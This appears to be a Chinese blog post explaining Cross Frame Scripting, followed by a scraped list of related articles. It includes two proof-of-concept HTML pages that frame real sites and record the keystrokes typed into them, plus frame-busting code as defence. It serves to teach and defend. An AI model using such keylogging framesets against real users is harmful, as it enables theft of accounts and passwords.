XFS: Cross Frame Script (跨框架脚本) 攻击。
一、Cross Frame Script (跨框架脚本) 攻击
什么是Cross Frame Script?
很简单,做个实验就知道了。把下面的这段HTML代码另存为一个html文件,然后用ie浏览器打开。
<html>
<head>
<title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onload="this.focus();" onblur="this.focus();" cols="100%">
<frame src="http://www.baidu.com/" scrolling="auto">
</frameset>
</html>
当你在百度的搜索框输入字符时,你会发现左下角的状态栏上出现了你输入的字符。
二、Cross Frame Script 原理
利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码中加入scirpt,监视、盗取用户输入。
三、Cross Frame Script 危害
一个恶意的站点可以通过用框架包含真的网银或在线支付网站,获取用户账号和密码。
解决方案
用户:留心浏览器地址,不在带框架页面中输入用户信息
网站管理员:
在页面中加入以下javascirpt代码可以避免网站被XFS:
if (top != self) {
top.location=self.location;
}
XFS: Cross Frame Script (跨框架脚本) 攻击。
什么是XFS攻击,下面举一个例子:
Tom在QQ上发消息诱骗Jerry点击了下面的连接:
- http://thief.com
上面的连接返回了下面的html:
- <html>
- <head>
- <title>IE Cross Frame Scripting Restriction Bypass Example</title>
- <script>
- function alertKey(e) {
- alert("key press = '" + e.which + "'");
- }
- </script>
- </head>
- <frameset onload="this.focus();" onblur="this.focus();" cols="100%" onkeypress="alertKey(event);">
- <frame src="http://cuishen.iteye.com/" scrolling="auto">
- </frameset>
- </html>
对于Jerry来说,他以为自己在访问熟悉的网站,殊不知将输入的敏感信息暴露给了Tom (只要将上面alert 改成ajax call)。
魔高一尺,道高一丈,对于XFS攻击也有防御的办法。 主要算法是:
A. 对于确定你的网站没有使用frame的页面要打破frame (frame busting)
- <style>
- html { visibility:hidden; }
- </style>
- <script>
- if( self == top){
- document.documentElement.style.visibility='visible';
- }else{
- top.location = self.location;
- }
- </script>
B. 对于有使用iframe 和frame的页面当心anti-busting,换做下面的脚本:
- if top <> self then
- if top.location.hostname <> self.location.hostname then
- top.location = "http://cuishen.iteye.com/"
- end if
- end if
你的网站可能会毫不知情的被外面包裹一层frame,而变成了一个钓鱼网站,so... 请尽量避免在你的网站使用frame/iframe,并且应用frame busting脚本。
对于user来说,请升级到IE7以上浏览器,并设置: Navigate sub-frames across different domains set to "Prompt" or "Disable", 这个将在浏览器层面防御XFS攻击。
XFS: Cross Frame Script (跨框架脚本) 攻击。的更多相关文章
- Cross Frame Script (跨框架脚本) 攻击
一.Cross Frame Script (跨框架脚本) 攻击 什么是Cross Frame Script? 很简单,做个实验就知道了.把下面的这段HTML代码另存为一个html文件,然后用ie浏览器 ...
- 基于iframe的CFS(Cross Frame Script)和Clickjacking(点击劫持)攻击
攻击原理: CFS攻击(Cross Frame Script(跨框架脚本)攻击)是利用浏览器允许框架(frame)跨站包含其它页面的漏洞,在主框架的代码 中加入scirpt,监视.盗取用户输入 ...
- IBM Rational AppScan:跨站点脚本攻击深入解析
IBM Rational AppScan:跨站点脚本攻击深入解析 了解黑客如何启动跨站点脚本攻击(cross-site scripting,XSS),该攻击危害(及不危害)什么,如何检测它们,以 ...
- IFrame安全问题解决办法(跨框架脚本(XFS)漏洞)
最近项目要交付了,对方安全测试的时候检测出高危险漏洞,由于刚参加工作不久,经验不足,未涉及过此方面的东西.经过一番查询和探索,最终解决了这个问题,记录一下. 发现的漏洞为缺少跨框架脚本保护.跨框架脚本 ...
- ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
- CSRF跨站请求伪造与XSS跨域脚本攻击讨论
今天和朋友讨论网站安全问题,聊到了csrf和xss,刚开始对两者不是神明白,经过查阅与讨论,整理了如下资料,与大家分享. CSRF(Cross-site request forgery):跨站请求伪造 ...
- 跨站点脚本攻击XSS
来源:http://www.freebuf.com/articles/web/15188.html 跨站点脚本攻击是一种Web应用程序的攻击,攻击者尝试注入恶意脚本代码到受信任的网站上执行恶意操作.在 ...
- HTTP攻击与防范-跨网站脚本攻击
实验目的 1.了解XSS -跨网站脚本攻击带来的危险性. 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法 实验原理 跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的 ...
- XSS(跨域脚本攻击)应对之道
1.概念 xss一般分为两类,反射型和存储型. 反射型xss指的是客户端的不安全输入而引起的攻击,例如: 在某网站搜索,搜索结果会显示搜索的关键词,搜索时关键词填入<script>aler ...
随机推荐
- Qt 学习之路 2(3):Hello, world!
豆子 2012年8月22日 Qt 学习之路 2 107条评论 想要学习 Qt 开发,首先要搭建 Qt 开发环境.好在现在搭建 Qt 开发环境还是比较简单的.我们可以到 Qt 官方网站找到最新版 ...
- STS(spring tool suite)修改默认编码
安装STS后首先要做的修改默认编码: 1.windows--perferences--general--workspace,Text file encoding设置成utf-8 2.windows-- ...
- c++中STL中的next_permutation函数基本用法
对于next_permutation函数是针对于排列组合问题的库函数,它的排序方式是按照字典的方式排列的·: 如以下代码对于next_permutation函数的初步解释: #include<c ...
- poj2253青蛙(可到达路径的单次跳跃最短距离)
Frogger Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 55388 Accepted: 17455 Descrip ...
- linux虚拟机管理
1.虚拟机管理命令virsh-manager ##开启虚拟机管理器 virsh list ##显示正在运行的虚拟机virsh list --all ##查看所 ...
- 隐藏win10中“此电脑”里的6个子文件夹
删除点击此电脑后6个子文件夹 运行regedit: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Fold ...
- k2安装LEDE
固件下载时请用Breed Web 恢复控制台恢复固件,步骤如下:1.到LEDE官方网站下载最新开发版固件2.Web Breed台刷写固件3.将一台能上网的路由器LAN口接至K2 WAN口,等待K2连上 ...
- nc工具详解
nc 安装 yum install -y nc参数: Command Summary: - Use IPv4 - Use IPv6 -D Enable the debug socket opti ...
- Jenkins遇到哪些坑~
1Jenkins关闭和重启实现方式. 1.关闭Jenkins 只需要在访问jenkins服务器的网址url地址后加上exit.例如我jenkins的地址http://localhost:8080/ ...
- Android Studio CMake 生成多个so
生成多个so案例 这里stringFromJNI和stringFromJNI11分别是调用one-lib和two-lib两个so package com.test.ndkmoreso; import ...